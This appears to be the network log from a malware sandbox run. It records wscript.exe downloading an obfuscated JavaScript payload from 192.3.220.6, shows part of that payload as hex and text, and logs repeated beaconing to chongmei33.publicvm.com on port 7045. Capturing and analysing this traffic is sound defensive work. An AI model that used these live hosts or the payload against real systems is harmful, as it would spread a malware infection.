Dec 17, 2024 03:54:02.763802052 CET	443	50252	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:02.763840914 CET	50252	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.763876915 CET	443	50251	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:02.763928890 CET	50251	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.764035940 CET	50263	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.764064074 CET	443	50263	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:02.764118910 CET	50263	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.764161110 CET	50264	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.764234066 CET	443	50264	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:02.764401913 CET	50263	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.764414072 CET	443	50263	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:02.764444113 CET	50264	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.764805079 CET	50264	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:02.764834881 CET	443	50264	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:03.740946054 CET	443	50261	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:03.741029024 CET	50261	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:03.742022038 CET	50261	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:03.742048025 CET	443	50261	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:03.742244005 CET	50261	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:03.742336988 CET	443	50261	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:03.742389917 CET	50261	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:03.743175983 CET	50265	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:03.743262053 CET	443	50265	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:03.743366003 CET	50265	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:03.743741989 CET	50265	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:03.743778944 CET	443	50265	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:03.978106022 CET	443	50263	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:03.978235960 CET	50263	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:03.979270935 CET	50263	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:03.979278088 CET	443	50263	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:03.979365110 CET	50263	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:03.979639053 CET	443	50263	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:03.979696035 CET	50263	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:03.980209112 CET	50266	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:03.980273962 CET	443	50266	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:03.980346918 CET	50266	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:03.980756998 CET	50266	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:03.980783939 CET	443	50266	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:04.119139910 CET	443	50262	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:04.119254112 CET	50262	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:04.119915009 CET	50262	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:04.119963884 CET	443	50262	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:04.120018959 CET	50262	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:04.120368004 CET	443	50262	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:04.120440006 CET	50262	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:04.120636940 CET	50267	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:04.120721102 CET	443	50267	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:04.120799065 CET	50267	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:04.121108055 CET	50267	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:04.121143103 CET	443	50267	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:04.151434898 CET	7045	50250	46.246.82.66	192.168.2.4
Dec 17, 2024 03:54:04.151539087 CET	50250	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:54:04.151616096 CET	50250	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:54:04.234297991 CET	7045	50255	46.246.82.66	192.168.2.4
Dec 17, 2024 03:54:04.234595060 CET	50255	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:54:04.234595060 CET	50255	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:54:04.271533966 CET	7045	50250	46.246.82.66	192.168.2.4
Dec 17, 2024 03:54:04.294734001 CET	443	50264	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:04.294810057 CET	50264	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:04.295562029 CET	50264	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:04.295591116 CET	443	50264	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:04.295675039 CET	50264	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:04.295748949 CET	443	50264	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:04.295803070 CET	50264	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:04.296386957 CET	50268	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:04.296447039 CET	443	50268	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:04.296531916 CET	50268	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:04.296865940 CET	50268	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:04.296895027 CET	443	50268	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:04.549730062 CET	50255	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:54:04.862549067 CET	7045	50255	46.246.82.66	192.168.2.4
Dec 17, 2024 03:54:04.862617016 CET	50255	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:54:04.862880945 CET	7045	50255	46.246.82.66	192.168.2.4
Dec 17, 2024 03:54:04.863054991 CET	7045	50255	46.246.82.66	192.168.2.4
Dec 17, 2024 03:54:04.863110065 CET	50255	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:54:05.332277060 CET	443	50265	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:05.332598925 CET	50265	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:05.335640907 CET	50265	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:05.335640907 CET	50265	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:05.335700035 CET	443	50265	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:05.336080074 CET	443	50265	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:05.336240053 CET	50265	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:05.336488962 CET	50274	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:05.336529970 CET	443	50274	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:05.337008953 CET	50274	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:05.337008953 CET	50274	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:05.337038994 CET	443	50274	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:05.511110067 CET	443	50266	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:05.511203051 CET	50266	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:05.512053967 CET	50266	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:05.512063026 CET	443	50266	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:05.512145042 CET	50266	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:05.512499094 CET	443	50266	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:05.512561083 CET	50266	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:05.742173910 CET	50275	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:05.742218971 CET	443	50275	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:05.742278099 CET	50275	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:05.742707014 CET	50275	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:05.742721081 CET	443	50275	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:06.003508091 CET	443	50267	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:06.003751993 CET	50267	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:06.004803896 CET	50267	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:06.004839897 CET	443	50267	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:06.004892111 CET	50267	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:06.005120993 CET	443	50267	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:06.005182028 CET	50267	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:06.005841970 CET	50276	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:06.005930901 CET	443	50276	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:06.006014109 CET	50276	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:06.006531954 CET	50276	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:06.006613016 CET	443	50276	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:06.271045923 CET	443	50268	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:06.271256924 CET	50268	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:06.272492886 CET	50268	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:06.272547960 CET	443	50268	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:06.272653103 CET	50268	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:06.272779942 CET	443	50268	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:06.272996902 CET	50268	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:06.273644924 CET	50277	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:06.273732901 CET	443	50277	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:06.273828983 CET	50277	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:06.274190903 CET	50277	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:06.274228096 CET	443	50277	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:06.879309893 CET	443	50274	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:06.879439116 CET	50274	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:07.275603056 CET	443	50275	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:07.275702953 CET	50275	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:07.388897896 CET	443	50276	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:07.389090061 CET	50276	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:07.817348957 CET	443	50277	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:07.817527056 CET	50277	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:12.784533024 CET	443	50276	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:12.784754038 CET	50276	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:14.300899982 CET	50274	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:14.300920010 CET	443	50274	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:14.300966978 CET	50274	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:14.301131010 CET	50277	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:14.301131010 CET	50277	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:14.301218033 CET	443	50277	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:14.301467896 CET	443	50277	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:14.301624060 CET	443	50274	199.232.192.209	192.168.2.4
Dec 17, 2024 03:54:14.301640987 CET	50295	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:14.301641941 CET	50277	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:14.301682949 CET	50274	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:54:14.301706076 CET	443	50295	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:14.301773071 CET	50295	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:14.301819086 CET	50275	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:14.301831961 CET	443	50275	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:14.301882982 CET	50275	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:14.302190065 CET	50295	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:14.302207947 CET	443	50295	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:14.302290916 CET	443	50275	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:14.302340031 CET	50296	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:14.302365065 CET	443	50296	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:14.302375078 CET	50275	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:14.302412987 CET	50296	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:14.302541018 CET	50297	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:14.302629948 CET	443	50297	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:14.302692890 CET	50297	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:14.302877903 CET	50297	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:14.302911043 CET	50296	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:14.302916050 CET	443	50297	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:14.302932978 CET	443	50296	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:14.303020954 CET	50276	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:14.303092003 CET	443	50276	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:14.303127050 CET	50276	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:14.303143978 CET	443	50276	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:14.303945065 CET	50298	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:14.304032087 CET	443	50298	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:14.304092884 CET	50298	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:14.304445982 CET	50298	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:54:14.304527998 CET	443	50298	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:15.522455931 CET	443	50297	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:15.522568941 CET	50297	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:15.525250912 CET	443	50296	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:15.525336027 CET	50296	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:15.525717974 CET	443	50295	199.232.196.209	192.168.2.4
Dec 17, 2024 03:54:15.525794029 CET	50295	443	192.168.2.4	199.232.196.209
Dec 17, 2024 03:54:15.721743107 CET	443	50298	140.82.121.4	192.168.2.4
Dec 17, 2024 03:54:15.721931934 CET	50298	443	192.168.2.4	140.82.121.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 03:52:04.203495026 CET	64117	53	192.168.2.4	1.1.1.1
Dec 17, 2024 03:52:04.291585922 CET	61982	53	192.168.2.4	1.1.1.1
Dec 17, 2024 03:52:04.291585922 CET	62908	53	192.168.2.4	1.1.1.1
Dec 17, 2024 03:52:04.516845942 CET	53	61982	1.1.1.1	192.168.2.4
Dec 17, 2024 03:52:04.517369032 CET	53	62908	1.1.1.1	192.168.2.4
Dec 17, 2024 03:52:05.190157890 CET	64117	53	192.168.2.4	1.1.1.1
Dec 17, 2024 03:52:06.190186024 CET	64117	53	192.168.2.4	1.1.1.1
Dec 17, 2024 03:52:06.380089998 CET	53	64117	1.1.1.1	192.168.2.4
Dec 17, 2024 03:52:06.380206108 CET	53	64117	1.1.1.1	192.168.2.4
Dec 17, 2024 03:52:06.415853977 CET	53	64117	1.1.1.1	192.168.2.4
Dec 17, 2024 03:52:11.398044109 CET	61466	53	192.168.2.4	1.1.1.1
Dec 17, 2024 03:52:12.393224955 CET	61466	53	192.168.2.4	1.1.1.1
Dec 17, 2024 03:52:13.457278013 CET	61466	53	192.168.2.4	1.1.1.1
Dec 17, 2024 03:52:13.575268030 CET	53	61466	1.1.1.1	192.168.2.4
Dec 17, 2024 03:52:13.575279951 CET	53	61466	1.1.1.1	192.168.2.4
Dec 17, 2024 03:52:13.682461023 CET	53	61466	1.1.1.1	192.168.2.4
Dec 17, 2024 03:52:18.623298883 CET	57566	53	192.168.2.4	1.1.1.1
Dec 17, 2024 03:52:19.612173080 CET	57566	53	192.168.2.4	1.1.1.1
Dec 17, 2024 03:52:20.612030983 CET	57566	53	192.168.2.4	1.1.1.1
Dec 17, 2024 03:52:20.800790071 CET	53	57566	1.1.1.1	192.168.2.4
Dec 17, 2024 03:52:20.800822973 CET	53	57566	1.1.1.1	192.168.2.4
Dec 17, 2024 03:52:20.837537050 CET	53	57566	1.1.1.1	192.168.2.4
Dec 17, 2024 03:52:25.839430094 CET	58176	53	192.168.2.4	1.1.1.1
Dec 17, 2024 03:52:26.177046061 CET	53	58176	1.1.1.1	192.168.2.4
Dec 17, 2024 03:53:04.714093924 CET	54777	53	192.168.2.4	1.1.1.1
Dec 17, 2024 03:53:04.941180944 CET	53	54777	1.1.1.1	192.168.2.4
Dec 17, 2024 03:53:06.440740108 CET	50779	53	192.168.2.4	1.1.1.1
Dec 17, 2024 03:53:06.666668892 CET	53	50779	1.1.1.1	192.168.2.4
Dec 17, 2024 03:53:37.400861025 CET	55668	53	192.168.2.4	1.1.1.1
Dec 17, 2024 03:53:37.626178026 CET	53	55668	1.1.1.1	192.168.2.4
Dec 17, 2024 03:54:05.513219118 CET	49532	53	192.168.2.4	1.1.1.1
Dec 17, 2024 03:54:05.741311073 CET	53	49532	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 03:52:04.203495026 CET	192.168.2.4	1.1.1.1	0x8ec2	Standard query (0)	chongmei33.publicvm.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:04.291585922 CET	192.168.2.4	1.1.1.1	0x988e	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:04.291585922 CET	192.168.2.4	1.1.1.1	0xe3e5	Standard query (0)	repo1.maven.org	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:05.190157890 CET	192.168.2.4	1.1.1.1	0x8ec2	Standard query (0)	chongmei33.publicvm.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:06.190186024 CET	192.168.2.4	1.1.1.1	0x8ec2	Standard query (0)	chongmei33.publicvm.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:11.398044109 CET	192.168.2.4	1.1.1.1	0xf062	Standard query (0)	chongmei33.publicvm.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:12.393224955 CET	192.168.2.4	1.1.1.1	0xf062	Standard query (0)	chongmei33.publicvm.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:13.457278013 CET	192.168.2.4	1.1.1.1	0xf062	Standard query (0)	chongmei33.publicvm.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:18.623298883 CET	192.168.2.4	1.1.1.1	0x5434	Standard query (0)	chongmei33.publicvm.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:19.612173080 CET	192.168.2.4	1.1.1.1	0x5434	Standard query (0)	chongmei33.publicvm.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:20.612030983 CET	192.168.2.4	1.1.1.1	0x5434	Standard query (0)	chongmei33.publicvm.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:25.839430094 CET	192.168.2.4	1.1.1.1	0x3112	Standard query (0)	chongmei33.publicvm.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:53:04.714093924 CET	192.168.2.4	1.1.1.1	0x5da3	Standard query (0)	repo1.maven.org	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:53:06.440740108 CET	192.168.2.4	1.1.1.1	0xdd09	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:53:37.400861025 CET	192.168.2.4	1.1.1.1	0x2d29	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:54:05.513219118 CET	192.168.2.4	1.1.1.1	0x8087	Standard query (0)	repo1.maven.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 03:52:04.516845942 CET	1.1.1.1	192.168.2.4	0x988e	No error (0)	github.com		140.82.121.3	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:04.517369032 CET	1.1.1.1	192.168.2.4	0xe3e5	No error (0)	repo1.maven.org	dualstack.sonatype.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 03:52:04.517369032 CET	1.1.1.1	192.168.2.4	0xe3e5	No error (0)	dualstack.sonatype.map.fastly.net		199.232.192.209	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:04.517369032 CET	1.1.1.1	192.168.2.4	0xe3e5	No error (0)	dualstack.sonatype.map.fastly.net		199.232.196.209	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:06.380089998 CET	1.1.1.1	192.168.2.4	0x8ec2	Server failure (2)	chongmei33.publicvm.com	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:06.380206108 CET	1.1.1.1	192.168.2.4	0x8ec2	Server failure (2)	chongmei33.publicvm.com	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:06.415853977 CET	1.1.1.1	192.168.2.4	0x8ec2	Server failure (2)	chongmei33.publicvm.com	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:13.575268030 CET	1.1.1.1	192.168.2.4	0xf062	Server failure (2)	chongmei33.publicvm.com	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:13.575279951 CET	1.1.1.1	192.168.2.4	0xf062	Server failure (2)	chongmei33.publicvm.com	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:13.682461023 CET	1.1.1.1	192.168.2.4	0xf062	Server failure (2)	chongmei33.publicvm.com	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:20.800790071 CET	1.1.1.1	192.168.2.4	0x5434	Server failure (2)	chongmei33.publicvm.com	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:20.800822973 CET	1.1.1.1	192.168.2.4	0x5434	Server failure (2)	chongmei33.publicvm.com	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:20.837537050 CET	1.1.1.1	192.168.2.4	0x5434	Server failure (2)	chongmei33.publicvm.com	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:52:26.177046061 CET	1.1.1.1	192.168.2.4	0x3112	No error (0)	chongmei33.publicvm.com		46.246.82.66	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:53:04.941180944 CET	1.1.1.1	192.168.2.4	0x5da3	No error (0)	repo1.maven.org	dualstack.sonatype.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 03:53:04.941180944 CET	1.1.1.1	192.168.2.4	0x5da3	No error (0)	dualstack.sonatype.map.fastly.net		199.232.192.209	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:53:04.941180944 CET	1.1.1.1	192.168.2.4	0x5da3	No error (0)	dualstack.sonatype.map.fastly.net		199.232.196.209	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:53:06.666668892 CET	1.1.1.1	192.168.2.4	0xdd09	No error (0)	github.com		140.82.121.3	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:53:37.626178026 CET	1.1.1.1	192.168.2.4	0x2d29	No error (0)	github.com		140.82.121.4	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:54:05.741311073 CET	1.1.1.1	192.168.2.4	0x8087	No error (0)	repo1.maven.org	dualstack.sonatype.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 03:54:05.741311073 CET	1.1.1.1	192.168.2.4	0x8087	No error (0)	dualstack.sonatype.map.fastly.net		199.232.196.209	A (IP address)	IN (0x0001)	false
Dec 17, 2024 03:54:05.741311073 CET	1.1.1.1	192.168.2.4	0x8087	No error (0)	dualstack.sonatype.map.fastly.net		199.232.192.209	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

192.3.220.6

chongmei33.publicvm.com:7045

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	192.3.220.6	80	7288	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 03:51:57.430798054 CET	326	OUT	GET /web/ours.js HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 192.3.220.6 Connection: Keep-Alive
Dec 17, 2024 03:51:58.541023970 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 02:51:58 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Mon, 16 Dec 2024 21:59:18 GMT ETag: "ef190-6296a4ad006a4" Accept-Ranges: bytes Content-Length: 979344 Content-Disposition: attachment Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 70 45 46 41 74 69 61 6d 6c 4d 48 45 4c 42 71 62 43 53 64 48 70 4e 5a 4f 44 48 58 6f 6a 77 79 6b 77 6c 77 53 4b 44 57 71 46 43 4e 4b 58 20 3d 20 22 22 20 3b 0d 0a 2f 2f 66 72 78 6d 4b 6c 43 70 4e 58 48 5a 46 59 52 7a 77 6e 43 6e 7a 50 72 70 7a 51 55 66 78 55 55 78 61 54 6d 54 46 6a 66 54 7a 59 77 7a 46 69 41 76 6e 7a 68 62 77 58 63 50 7a 49 6e 75 52 58 72 73 43 4b 7a 6c 6c 79 74 4d 49 6a 6e 62 54 72 6a 52 51 5a 72 79 6e 74 41 44 72 58 54 78 77 6c 42 62 68 44 77 76 6a 4f 4a 70 46 56 54 4e 6a 41 77 49 59 57 64 73 67 73 46 4a 4a 76 75 4f 65 76 51 57 68 4d 75 50 76 6e 68 43 50 43 74 53 5a 6e 54 72 61 4c 5a 61 48 4a 76 6f 78 6d 6d 6e 55 76 4b 4b 46 78 67 58 46 67 4d 6b 6f 62 63 64 7a 6e 6b 56 63 43 6f 54 57 70 4f 58 51 46 53 49 42 75 68 55 72 69 4e 62 48 76 6c 74 79 6f 6c 67 67 52 70 4a 42 51 4b 52 47 72 6e 50 69 49 48 41 4f 44 6a 74 74 49 6d 51 61 49 4f 68 52 75 55 68 45 69 72 79 51 49 48 6c 6b 51 4e 41 76 78 74 7a 6f 6b 66 75 46 73 6d 59 66 5a 6a 73 43 64 7a 4d 57 47 4c 41 52 49 6b 46 77 79 4a 64 76 6c [TRUNCATED] Data Ascii: pEFAtiamlMHELBqbCSdHpNZODHXojwykwlwSKDWqFCNKX = "" ;//frxmKlCpNXHZFYRzwnCnzPrpzQUfxUUxaTmTFjfTzYwzFiAvnzhbwXcPzInuRXrsCKzllytMIjnbTrjRQZryntADrXTxwlBbhDwvjOJpFVTNjAwIYWdsgsFJJvuOevQWhMuPvnhCPCtSZnTraLZaHJvoxmmnUvKKFxgXFgMkobcdznkVcCoTWpOXQFSIBuhUriNbHvltyolggRpJBQKRGrnPiIHAODjttImQaIOhRuUhEiryQIHlkQNAvxtzokfuFsmYfZjsCdzMWGLARIkFwyJdvlVcPPtgOZcLvTSqZOjGQAeomthfAayGiJctEvar GdmkSywdzExptgiPCMuHgpWhNfobWdmqZlTlwWyCiLnokpGtQrfximYQGFWmJUHVSHQHMxSfOrZUCixXZuLexpHmNCeqALtNERVcZzhTYziqMEOYIyNOJcYdzduKScfDyMPkMUyaNrFxGRaJoGiCxeDctscvEWAwUfrAodMnznBRWaXiDlVMudFUInqUsDVqrJdaZZUKuu//CJdlFTVtsTBoCrZXrBnrvwSKaNxwJdQKSzawqWiXyyKCpDHmBBiTXCzGrTLrWZkOCqVCQdgUSPtwlPUXGKuHvxnQAUEXLqBZOvzzhEVXUNAHIDUbyolLecTFDFBwZIJcOThqQVpBpXnhwfHxAdZXFpvmbtwcCZyMEYtpVdLdyjWGpmJXxEwwjmWZXvOWZNyQYbdXmSbWRwYVToxpkYfydCcRCTRaPoDllFiNIllfcZenNBFjxYlAhAnWyLVSABGcsnjNGjhynzVDYoEAOicrCCDlSMPwQSfaT
